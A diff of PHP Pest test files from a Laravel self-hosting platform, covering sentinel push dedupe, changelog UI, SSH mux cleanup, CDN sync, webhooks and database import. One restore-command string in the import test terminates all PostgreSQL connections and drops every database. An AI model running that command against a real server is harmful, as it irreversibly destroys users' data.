||||
use App\Models\User;
|
||||
use Illuminate\Contracts\Cache\LockTimeoutException;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
@@ -11,6 +13,8 @@ use Illuminate\Support\Facades\Queue;
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config(['app.maintenance.store' => 'array']);
|
||||
|
||||
Queue::fake();
|
||||
Cache::flush();
|
||||
|
||||
@@ -45,6 +49,25 @@ function sentinelPayload(array $containers, ?float $diskPercentage = 42.0): arra
|
||||
|
||||
$running = fn () => [['name' => 'app-1', 'state' => 'running', 'health_status' => 'healthy']];
|
||||
|
||||
it('skips dispatch decision when sentinel lock acquisition times out', function () use ($running) {
|
||||
$lock = Mockery::mock();
|
||||
$lock->shouldReceive('block')
|
||||
->once()
|
||||
->with(5, Mockery::type('callable'))
|
||||
->andThrow(LockTimeoutException::class);
|
||||
|
||||
Cache::shouldReceive('lock')
|
||||
->once()
|
||||
->with('sentinel:push-lock:'.$this->server->id, 10)
|
||||
->andReturn($lock);
|
||||
|
||||
$controller = new SentinelController;
|
||||
$method = new ReflectionMethod($controller, 'shouldDispatchUpdate');
|
||||
$method->setAccessible(true);
|
||||
|
||||
expect($method->invoke($controller, $this->server, sentinelPayload($running())))->toBeFalse();
|
||||
});
|
||||
|
||||
it('dispatches the job on the first push', function () use ($running) {
|
||||
pushSentinel($this->token, sentinelPayload($running()))->assertOk();
|
||||
|
||||
@@ -69,6 +92,43 @@ it('updates the heartbeat even when the job is skipped', function () use ($runni
|
||||
expect(Carbon::parse($this->server->fresh()->sentinel_updated_at)->diffInSeconds(now()))->toBeLessThan(5);
|
||||
});
|
||||
|
||||
it('accepts an empty container list as a heartbeat when no containers are running', function () {
|
||||
$this->server->update(['sentinel_updated_at' => now()->subHour()]);
|
||||
|
||||
pushSentinel($this->token, sentinelPayload([]))->assertOk();
|
||||
|
||||
Queue::assertPushed(PushServerUpdateJob::class, 1);
|
||||
expect(Carbon::parse($this->server->fresh()->sentinel_updated_at)->diffInSeconds(now()))->toBeLessThan(5);
|
||||
});
|
||||
|
||||
it('rejects malformed sentinel payloads before touching server state', function (array $payload) {
|
||||
$this->server->update(['sentinel_updated_at' => now()->subHour()]);
|
||||
$originalHeartbeat = $this->server->fresh()->sentinel_updated_at;
|
||||
|
||||
pushSentinel($this->token, $payload)
|
||||
->assertUnprocessable()
|
||||
->assertJsonPath('message', 'Validation failed.')
|
||||
->assertJsonValidationErrors('containers');
|
||||
|
||||
Queue::assertNotPushed(PushServerUpdateJob::class);
|
||||
expect($this->server->fresh()->sentinel_updated_at)->toBe($originalHeartbeat);
|
||||
expect(Cache::has('sentinel:push-hash:'.$this->server->id))->toBeFalse();
|
||||
expect(Cache::has('sentinel:push-force:'.$this->server->id))->toBeFalse();
|
||||
})->with([
|
||||
'missing containers' => [[]],
|
||||
'non-array containers' => [['containers' => 'not-an-array']],
|
||||
]);
|
||||
|
||||
it('guards the dedupe decision with a server scoped atomic cache lock', function () {
|
||||
$controller = file_get_contents(app_path('Http/Controllers/Api/SentinelController.php'));
|
||||
|
||||
expect($controller)
|
||||
->toContain('$lockKey = "sentinel:push-lock:{$server->id}";')
|
||||
->toContain('Cache::lock($lockKey, 10)->block(5, function () use ($hashKey, $forceKey, $hash): bool')
|
||||
->toContain('Cache::put($hashKey, $hash, now()->addDay())')
|
||||
->toContain("Cache::put(\$forceKey, true, config('constants.sentinel.push_force_interval_seconds', 300))");
|
||||
});
|
||||
|
||||
it('dispatches the job when container state changes', function () use ($running) {
|
||||
pushSentinel($this->token, sentinelPayload($running()))->assertOk();
|
||||
|
||||
@@ -78,6 +138,16 @@ it('dispatches the job when container state changes', function () use ($running)
|
||||
Queue::assertPushed(PushServerUpdateJob::class, 2);
|
||||
});
|
||||
|
||||
it('ignores health status changes while container lifecycle state is unchanged', function () {
|
||||
$healthy = [['name' => 'app-1', 'state' => 'running', 'health_status' => 'healthy']];
|
||||
$unhealthy = [['name' => 'app-1', 'state' => 'running', 'health_status' => 'unhealthy']];
|
||||
|
||||
pushSentinel($this->token, sentinelPayload($healthy))->assertOk();
|
||||
pushSentinel($this->token, sentinelPayload($unhealthy))->assertOk();
|
||||
|
||||
Queue::assertPushed(PushServerUpdateJob::class, 1);
|
||||
});
|
||||
|
||||
it('ignores disk percentage changes (excluded from the hash)', function () use ($running) {
|
||||
pushSentinel($this->token, sentinelPayload($running(), diskPercentage: 42.0))->assertOk();
|
||||
pushSentinel($this->token, sentinelPayload($running(), diskPercentage: 88.0))->assertOk();
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\SettingsDropdown;
|
||||
use App\Models\User;
|
||||
use App\Services\ChangelogService;
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Collection;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
use Livewire\Livewire;
|
||||
|
||||
it('renders the changelog modal above the desktop sidebar toggle', function () {
|
||||
$user = new User(['email' => 'test@example.com']);
|
||||
$user->id = 1;
|
||||
|
||||
Auth::setUser($user);
|
||||
|
||||
app()->instance(ChangelogService::class, new class extends ChangelogService
|
||||
{
|
||||
public function getEntriesForUser(User $user): Collection
|
||||
{
|
||||
return collect([
|
||||
(object) [
|
||||
'tag_name' => 'v1.0.0',
|
||||
'title' => 'Test Release',
|
||||
'content' => 'Release notes',
|
||||
'content_html' => '<p>Release notes</p>',
|
||||
'published_at' => Carbon::parse('2026-05-01'),
|
||||
'is_read' => false,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
public function getUnreadCountForUser(User $user): int
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
});
|
||||
|
||||
Livewire::test(SettingsDropdown::class, ['trigger' => 'changelog-sidebar'])
|
||||
->call('openWhatsNewModal')
|
||||
->assertSee('Changelog')
|
||||
->assertSee('z-[60]', false)
|
||||
->assertSee('closeWhatsNewModal', false);
|
||||
});
|
||||
@@ -0,0 +1,64 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\SettingsDropdown;
|
||||
|
||||
it('keeps changelog and the theme switcher in the sidebar without the old preferences trigger', function () {
|
||||
$navbarView = file_get_contents(resource_path('views/components/navbar.blade.php'));
|
||||
|
||||
expect($navbarView)
|
||||
->toContain('<livewire:settings-dropdown trigger="changelog-sidebar" />')
|
||||
->not->toContain('<livewire:settings-dropdown />')
|
||||
->toContain('aria-label="Theme switcher"')
|
||||
->toContain('aria-label="Use light theme"')
|
||||
->toContain('aria-label="Use system theme"')
|
||||
->toContain('aria-label="Use dark theme"')
|
||||
->toContain('cycleTheme()')
|
||||
->toContain("const themes = ['light', 'system', 'dark'];")
|
||||
->toContain('pl-2 pr-3 items-start gap-3')
|
||||
->toContain('class="flex min-w-0 flex-1 flex-col"')
|
||||
->toContain('class="min-w-0 flex-1"')
|
||||
->toContain('class="flex h-8 w-full items-center justify-between');
|
||||
});
|
||||
|
||||
it('keeps changelog and appearance options out of the preferences dropdown', function () {
|
||||
$dropdownView = file_get_contents(resource_path('views/livewire/settings-dropdown.blade.php'));
|
||||
|
||||
expect($dropdownView)
|
||||
->toContain("\$trigger === 'changelog-sidebar'")
|
||||
->toContain('title="What\'s New"')
|
||||
->toContain('aria-label="What\'s New"')
|
||||
->toContain('wire:click="openWhatsNewModal"')
|
||||
->toContain('class="relative text-left menu-item"')
|
||||
->toContain('class="text-left menu-item-label"')
|
||||
->toContain("What's New</span>")
|
||||
->toContain('M9.813 15.904 9 18.75')
|
||||
->not->toContain('<span>Changelog</span>')
|
||||
->not->toContain('Appearance</div>')
|
||||
->not->toContain("@click=\"setTheme('dark'); dropdownOpen = false\"")
|
||||
->not->toContain("@click=\"setTheme('light'); dropdownOpen = false\"")
|
||||
->not->toContain("@click=\"setTheme('system'); dropdownOpen = false\"");
|
||||
});
|
||||
|
||||
it('opens and closes the changelog modal state', function () {
|
||||
$component = new SettingsDropdown;
|
||||
$component->trigger = 'changelog-sidebar';
|
||||
|
||||
expect($component->trigger)->toBe('changelog-sidebar')
|
||||
->and($component->showWhatsNewModal)->toBeFalse();
|
||||
|
||||
$component->openWhatsNewModal();
|
||||
|
||||
expect($component->showWhatsNewModal)->toBeTrue();
|
||||
|
||||
$component->closeWhatsNewModal();
|
||||
|
||||
expect($component->showWhatsNewModal)->toBeFalse();
|
||||
});
|
||||
|
||||
it('uses the default button palette for the changelog fetch action in light mode', function () {
|
||||
$dropdownView = file_get_contents(resource_path('views/livewire/settings-dropdown.blade.php'));
|
||||
|
||||
expect($dropdownView)
|
||||
->toContain('wire:click="manualFetchChangelog"')
|
||||
->not->toContain('bg-coolgray-200 hover:bg-coolgray-300');
|
||||
});
|
||||
@@ -1,12 +1,10 @@
|
||||
<?php
|
||||
|
||||
use App\Helpers\SshMultiplexingHelper;
|
||||
use App\Jobs\CleanupStaleMultiplexedConnections;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Server;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\File;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
@@ -116,177 +114,3 @@ it('returns false and runs no process when multiplexing is globally disabled', f
|
||||
|
||||
Process::assertNothingRan();
|
||||
});
|
||||
|
||||
it('kills only old orphaned ssh masters whose control socket no longer exists', function () {
|
||||
config(['constants.ssh.mux_orphan_reap_enabled' => true]);
|
||||
$muxDir = storage_path('app/ssh/mux');
|
||||
File::ensureDirectoryExists($muxDir);
|
||||
|
||||
$liveSocket = $muxDir.'/mux_live_'.uniqid();
|
||||
$orphanSocket = $muxDir.'/mux_orphan_'.uniqid();
|
||||
$youngSocket = $muxDir.'/mux_young_'.uniqid();
|
||||
File::put($liveSocket, 'x');
|
||||
|
||||
Process::fake([
|
||||
'ps*' => Process::result(output: "111 1 5000 ssh -fN -o ControlMaster=auto -o ControlPath={$liveSocket} root@1.2.3.4\n".
|
||||
"222 1 5000 ssh -fN -o ControlMaster=auto -o ControlPath={$orphanSocket} root@1.2.3.4\n".
|
||||
"333 1 30 ssh -fN -o ControlMaster=auto -o ControlPath={$youngSocket} root@1.2.3.4\n"),
|
||||
'kill*' => Process::result(exitCode: 0),
|
||||
]);
|
||||
|
||||
$job = new CleanupStaleMultiplexedConnections;
|
||||
$method = new ReflectionMethod($job, 'cleanupOrphanedSshProcesses');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($job);
|
||||
|
||||
Process::assertRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '222'));
|
||||
Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '111'));
|
||||
Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '333'));
|
||||
|
||||
File::delete($liveSocket);
|
||||
});
|
||||
|
||||
it('kills old orphaned native openssh mux masters whose control socket no longer exists', function () {
|
||||
config(['constants.ssh.mux_orphan_reap_enabled' => true]);
|
||||
$muxDir = storage_path('app/ssh/mux');
|
||||
File::ensureDirectoryExists($muxDir);
|
||||
|
||||
$liveSocket = $muxDir.'/mux_native_live_'.uniqid();
|
||||
$orphanSocket = $muxDir.'/mux_native_orphan_'.uniqid();
|
||||
File::put($liveSocket, 'x');
|
||||
|
||||
Process::fake([
|
||||
'ps*' => Process::result(output: "111 1 5000 ssh: {$liveSocket} [mux]\n".
|
||||
"222 1 5000 ssh: {$orphanSocket} [mux]\n"),
|
||||
'kill*' => Process::result(exitCode: 0),
|
||||
]);
|
||||
|
||||
$job = new CleanupStaleMultiplexedConnections;
|
||||
$method = new ReflectionMethod($job, 'cleanupOrphanedSshProcesses');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($job);
|
||||
|
||||
Process::assertRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '222'));
|
||||
Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '111'));
|
||||
|
||||
File::delete($liveSocket);
|
||||
});
|
||||
|
||||
it('kills only old orphaned cloudflared proxies whose parent ssh is gone', function () {
|
||||
config(['constants.ssh.mux_orphan_reap_enabled' => true]);
|
||||
|
||||
Process::fake([
|
||||
'ps*' => Process::result(output: "100 1 5000 ssh -fN -o ControlMaster=auto root@1.2.3.4\n".
|
||||
"200 100 5000 cloudflared access ssh --hostname host.example.com\n".
|
||||
"300 2176 5000 cloudflared access ssh --hostname host.example.com\n".
|
||||
"400 2176 30 cloudflared access ssh --hostname host.example.com\n".
|
||||
"2176 1 9000 /usr/bin/some-supervisor\n"),
|
||||
'kill*' => Process::result(exitCode: 0),
|
||||
]);
|
||||
|
||||
$job = new CleanupStaleMultiplexedConnections;
|
||||
$method = new ReflectionMethod($job, 'cleanupOrphanedCloudflaredProcesses');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($job);
|
||||
|
||||
Process::assertRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '300'));
|
||||
Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '200'));
|
||||
Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '400'));
|
||||
});
|
||||
|
||||
it('dry-run mode logs orphans but kills nothing when reaping is disabled', function () {
|
||||
config(['constants.ssh.mux_orphan_reap_enabled' => false]);
|
||||
$muxDir = storage_path('app/ssh/mux');
|
||||
File::ensureDirectoryExists($muxDir);
|
||||
|
||||
$orphanSocket = $muxDir.'/mux_orphan_'.uniqid();
|
||||
|
||||
Process::fake([
|
||||
'ps*' => Process::result(output: "222 1 5000 ssh -fN -o ControlMaster=auto -o ControlPath={$orphanSocket} root@1.2.3.4\n"),
|
||||
'kill*' => Process::result(exitCode: 0),
|
||||
]);
|
||||
|
||||
$job = new CleanupStaleMultiplexedConnections;
|
||||
$method = new ReflectionMethod($job, 'cleanupOrphanedSshProcesses');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($job);
|
||||
|
||||
Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill'));
|
||||
});
|
||||
|
||||
it('resets duplicate ssh mux process groups atomically when reaping is enabled', function () {
|
||||
config(['constants.ssh.mux_orphan_reap_enabled' => true]);
|
||||
$muxDir = storage_path('app/ssh/mux');
|
||||
File::ensureDirectoryExists($muxDir);
|
||||
$controlPath = $muxDir.'/mux_duplicate_'.uniqid();
|
||||
File::put($controlPath, 'socket');
|
||||
|
||||
Process::fake([
|
||||
'ps*' => Process::result(output: "111 1 5000 ssh -fN -o ControlMaster=auto -o ControlPath={$controlPath} root@1.2.3.4\n".
|
||||
"222 1 5000 ssh -fN -o ControlMaster=auto -o ControlPath={$controlPath} root@1.2.3.4\n"),
|
||||
'kill*' => Process::result(exitCode: 0),
|
||||
]);
|
||||
|
||||
$job = new CleanupStaleMultiplexedConnections;
|
||||
$method = new ReflectionMethod($job, 'cleanupDuplicateSshProcesses');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($job);
|
||||
|
||||
Process::assertRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '111'));
|
||||
Process::assertRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '222'));
|
||||
expect(file_exists($controlPath))->toBeFalse();
|
||||
});
|
||||
|
||||
it('resets duplicate native openssh mux process groups atomically when reaping is enabled', function () {
|
||||
config(['constants.ssh.mux_orphan_reap_enabled' => true]);
|
||||
$muxDir = storage_path('app/ssh/mux');
|
||||
File::ensureDirectoryExists($muxDir);
|
||||
$controlPath = $muxDir.'/mux_native_duplicate_'.uniqid();
|
||||
File::put($controlPath, 'socket');
|
||||
|
||||
Process::fake([
|
||||
'ps*' => Process::result(output: "111 1 5000 ssh: {$controlPath} [mux]\n".
|
||||
"222 1 5000 ssh: {$controlPath} [mux]\n"),
|
||||
'kill*' => Process::result(exitCode: 0),
|
||||
]);
|
||||
|
||||
$job = new CleanupStaleMultiplexedConnections;
|
||||
$method = new ReflectionMethod($job, 'cleanupDuplicateSshProcesses');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($job);
|
||||
|
||||
Process::assertRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '111'));
|
||||
Process::assertRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '222'));
|
||||
expect(file_exists($controlPath))->toBeFalse();
|
||||
});
|
||||
|
||||
it('removes mux files for non-existent servers when reaping is enabled', function () {
|
||||
config(['constants.ssh.mux_orphan_reap_enabled' => true]);
|
||||
Storage::fake('ssh-mux');
|
||||
$file = 'mux_ghost'.uniqid();
|
||||
Storage::disk('ssh-mux')->put($file, 'x');
|
||||
Process::fake();
|
||||
|
||||
$job = new CleanupStaleMultiplexedConnections;
|
||||
$method = new ReflectionMethod($job, 'cleanupNonExistentServerConnections');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($job);
|
||||
|
||||
expect(Storage::disk('ssh-mux')->exists($file))->toBeFalse();
|
||||
});
|
||||
|
||||
it('keeps mux files for non-existent servers in dry-run mode', function () {
|
||||
config(['constants.ssh.mux_orphan_reap_enabled' => false]);
|
||||
Storage::fake('ssh-mux');
|
||||
$file = 'mux_ghost'.uniqid();
|
||||
Storage::disk('ssh-mux')->put($file, 'x');
|
||||
Process::fake();
|
||||
|
||||
$job = new CleanupStaleMultiplexedConnections;
|
||||
$method = new ReflectionMethod($job, 'cleanupNonExistentServerConnections');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($job);
|
||||
|
||||
expect(Storage::disk('ssh-mux')->exists($file))->toBeTrue();
|
||||
Process::assertNothingRan();
|
||||
});
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Facades\Http;
|
||||
|
||||
function createSyncBunnyFailingBinary(string $binDir, string $name): void
|
||||
{
|
||||
file_put_contents("{$binDir}/{$name}", <<<'SH'
|
||||
#!/bin/sh
|
||||
printf '%s %s\n' "$(basename "$0")" "$*" >> "$SYNC_BUNNY_TEST_LOG"
|
||||
exit 1
|
||||
SH);
|
||||
chmod("{$binDir}/{$name}", 0755);
|
||||
}
|
||||
|
||||
it('syncs nightly versions to BunnyCDN without creating a GitHub PR', function () {
|
||||
Http::fake([
|
||||
'storage.bunnycdn.com/*' => Http::response([], 201),
|
||||
'api.bunny.net/purge*' => Http::response([], 200),
|
||||
]);
|
||||
|
||||
$binDir = sys_get_temp_dir().'/sync-bunny-bin-'.uniqid();
|
||||
$logFile = sys_get_temp_dir().'/sync-bunny-'.uniqid().'.log';
|
||||
|
||||
mkdir($binDir, 0755, true);
|
||||
createSyncBunnyFailingBinary($binDir, 'gh');
|
||||
createSyncBunnyFailingBinary($binDir, 'git');
|
||||
|
||||
$originalPath = getenv('PATH') ?: '';
|
||||
putenv("PATH={$binDir}:{$originalPath}");
|
||||
putenv("SYNC_BUNNY_TEST_LOG={$logFile}");
|
||||
|
||||
try {
|
||||
$this->artisan('sync:bunny --release --nightly')
|
||||
->expectsConfirmation('Are you sure you want to proceed?', 'yes')
|
||||
->expectsOutputToContain('BunnyCDN sync: ✓ Complete')
|
||||
->doesntExpectOutputToContain('GitHub PR')
|
||||
->assertExitCode(0);
|
||||
} finally {
|
||||
putenv("PATH={$originalPath}");
|
||||
putenv('SYNC_BUNNY_TEST_LOG');
|
||||
}
|
||||
|
||||
expect(file_exists($logFile))->toBeFalse();
|
||||
|
||||
Http::assertSent(fn ($request) => $request->url() === 'https://storage.bunnycdn.com/coolcdn/coolify-nightly/versions.json');
|
||||
Http::assertSent(fn ($request) => str_starts_with($request->url(), 'https://api.bunny.net/purge')
|
||||
&& $request['url'] === 'https://cdn.coollabs.io/coolify-nightly/versions.json');
|
||||
});
|
||||
@@ -0,0 +1,32 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('attaches the root user as owner when reusing an existing root team', function () {
|
||||
Team::factory()->create(['id' => 0, 'name' => 'Existing Root Team']);
|
||||
|
||||
$rootUser = User::factory()->create(['id' => 0]);
|
||||
|
||||
expect($rootUser->teams()->whereKey(0)->first()?->pivot?->role)->toBe('owner');
|
||||
});
|
||||
|
||||
it('promotes the root user to owner when the reused root team pivot already exists', function () {
|
||||
Team::factory()->create(['id' => 0, 'name' => 'Existing Root Team']);
|
||||
|
||||
DB::table('team_user')->insert([
|
||||
'team_id' => 0,
|
||||
'user_id' => 0,
|
||||
'role' => 'member',
|
||||
'created_at' => now(),
|
||||
'updated_at' => now(),
|
||||
]);
|
||||
|
||||
$rootUser = User::factory()->create(['id' => 0]);
|
||||
|
||||
expect($rootUser->teams()->whereKey(0)->first()?->pivot?->role)->toBe('owner');
|
||||
});
|
||||
@@ -509,6 +509,48 @@ describe('Manual Webhook Repository Matching', function () {
|
||||
expect($response->getContent())->not->toContain('No applications found');
|
||||
});
|
||||
|
||||
test('gitlab matches scp-style ssh repository URL with custom port', function () {
|
||||
$app = createApplicationWithWebhook(overrides: [
|
||||
'git_repository' => 'git@gitlab.example.com:2222/services/xyz.git',
|
||||
'git_branch' => 'master',
|
||||
]);
|
||||
$secret = $app->manual_webhook_secret_gitlab;
|
||||
|
||||
$response = $this->postJson('/webhooks/source/gitlab/events/manual', [
|
||||
'object_kind' => 'push',
|
||||
'ref' => 'refs/heads/master',
|
||||
'project' => ['path_with_namespace' => 'services/xyz'],
|
||||
'after' => 'abc123',
|
||||
'commits' => [],
|
||||
], [
|
||||
'X-Gitlab-Token' => $secret,
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
expect($response->getContent())->not->toContain('No applications found');
|
||||
});
|
||||
|
||||
test('gitlab matches scp-style ssh repository URL without port', function () {
|
||||
$app = createApplicationWithWebhook(overrides: [
|
||||
'git_repository' => 'git@gitlab.example.com:services/xyz.git',
|
||||
'git_branch' => 'master',
|
||||
]);
|
||||
$secret = $app->manual_webhook_secret_gitlab;
|
||||
|
||||
$response = $this->postJson('/webhooks/source/gitlab/events/manual', [
|
||||
'object_kind' => 'push',
|
||||
'ref' => 'refs/heads/master',
|
||||
'project' => ['path_with_namespace' => 'services/xyz'],
|
||||
'after' => 'abc123',
|
||||
'commits' => [],
|
||||
], [
|
||||
'X-Gitlab-Token' => $secret,
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
expect($response->getContent())->not->toContain('No applications found');
|
||||
});
|
||||
|
||||
test('github matches repository case-insensitively', function () {
|
||||
$app = createApplicationWithWebhook(overrides: [
|
||||
'git_repository' => 'https://github.com/Test-Org/Test-Repo.git',
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Env;
|
||||
|
||||
function databaseConfigWithEnvironment(array $overrides): array
|
||||
{
|
||||
$keys = [
|
||||
'DB_HOST',
|
||||
'DB_READ_HOST',
|
||||
'DB_WRITE_HOST',
|
||||
];
|
||||
|
||||
$repository = Env::getRepository();
|
||||
$original = [];
|
||||
|
||||
foreach ($keys as $key) {
|
||||
$original[$key] = env($key);
|
||||
$repository->clear($key);
|
||||
}
|
||||
|
||||
try {
|
||||
foreach ($overrides as $key => $value) {
|
||||
$repository->set($key, (string) $value);
|
||||
}
|
||||
|
||||
return require __DIR__.'/../../config/database.php';
|
||||
} finally {
|
||||
foreach ($keys as $key) {
|
||||
$repository->clear($key);
|
||||
|
||||
if ($original[$key] !== null) {
|
||||
$repository->set($key, (string) $original[$key]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
it('trims and filters read hosts from comma separated values', function () {
|
||||
$config = databaseConfigWithEnvironment([
|
||||
'DB_READ_HOST' => ' read-1, read-2, ',
|
||||
]);
|
||||
|
||||
expect($config['connections']['pgsql']['read']['host'])->toBe(['read-1', 'read-2']);
|
||||
});
|
||||
|
||||
it('falls back to db host when write host is empty', function () {
|
||||
$config = databaseConfigWithEnvironment([
|
||||
'DB_HOST' => 'primary-db',
|
||||
'DB_READ_HOST' => 'read-db',
|
||||
'DB_WRITE_HOST' => '',
|
||||
]);
|
||||
|
||||
expect($config['connections']['pgsql']['write']['host'])->toBe(['primary-db']);
|
||||
});
|
||||
|
||||
it('falls back to the default host when write host and db host are empty', function () {
|
||||
$config = databaseConfigWithEnvironment([
|
||||
'DB_HOST' => '',
|
||||
'DB_READ_HOST' => 'read-db',
|
||||
'DB_WRITE_HOST' => '',
|
||||
]);
|
||||
|
||||
expect($config['connections']['pgsql']['write']['host'])->toBe(['coolify-db']);
|
||||
});
|
||||
@@ -93,8 +93,8 @@ it('detects environment variable value changes without exposing secret values',
|
||||
|
||||
expect($change)->not->toBeNull()
|
||||
->and($change['display_summary'])->toBe('Changed')
|
||||
->and($change['old_display_value'])->toBe('Set')
|
||||
->and($change['new_display_value'])->toBe('Set')
|
||||
->and($change['old_display_value'])->toBe('••••••••')
|
||||
->and($change['new_display_value'])->toBe('••••••••')
|
||||
->and(json_encode($diff->toArray()))->not->toContain('old-secret')->not->toContain('new-secret');
|
||||
});
|
||||
|
||||
@@ -117,7 +117,7 @@ it('describes added environment variables as set without exposing secret values'
|
||||
|
||||
expect($change)->not->toBeNull()
|
||||
->and($change['display_summary'])->toBeNull()
|
||||
->and($change['old_display_value'])->toBe('Not set')
|
||||
->and($change['new_display_value'])->toBe('Set')
|
||||
->and($change['old_display_value'])->toBe('-')
|
||||
->and($change['new_display_value'])->toBe('••••••••')
|
||||
->and(json_encode($diff->toArray()))->not->toContain('new-secret');
|
||||
});
|
||||
|
||||
@@ -1,16 +1,26 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
|
||||
function importFormWithResource(string $modelClass): ImportForm
|
||||
{
|
||||
$component = new class extends ImportForm
|
||||
{
|
||||
public $resource;
|
||||
};
|
||||
|
||||
$database = Mockery::mock($modelClass);
|
||||
$database->shouldReceive('getMorphClass')->andReturn($modelClass);
|
||||
$component->resource = $database;
|
||||
|
||||
return $component;
|
||||
}
|
||||
|
||||
test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component = importFormWithResource('App\Models\StandalonePostgresql');
|
||||
$component->dumpAll = false;
|
||||
$component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandalonePostgresql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('pg_restore');
|
||||
@@ -18,30 +28,21 @@ test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component = importFormWithResource('App\Models\StandalonePostgresql');
|
||||
$component->dumpAll = true;
|
||||
// This is the full dump-all command prefix that would be set in the updatedDumpAll method
|
||||
$component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandalonePostgresql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('gunzip -cf /tmp/test.dump');
|
||||
expect($result)->toContain('psql -U $POSTGRES_USER postgres');
|
||||
expect($result)->toContain('psql -U ${POSTGRES_USER} -d ${POSTGRES_DB:-${POSTGRES_USER:-postgres}}');
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MySQL without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component = importFormWithResource('App\Models\StandaloneMysql');
|
||||
$component->dumpAll = false;
|
||||
$component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMysql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mysql -u $MYSQL_USER');
|
||||
@@ -49,31 +50,23 @@ test('buildRestoreCommand handles MySQL without dumpAll', function () {
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MariaDB without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component = importFormWithResource('App\Models\StandaloneMariadb');
|
||||
$component->dumpAll = false;
|
||||
$component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMariadb');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mariadb -u $MARIADB_USER');
|
||||
expect($result)->toContain('< /tmp/test.dump');
|
||||
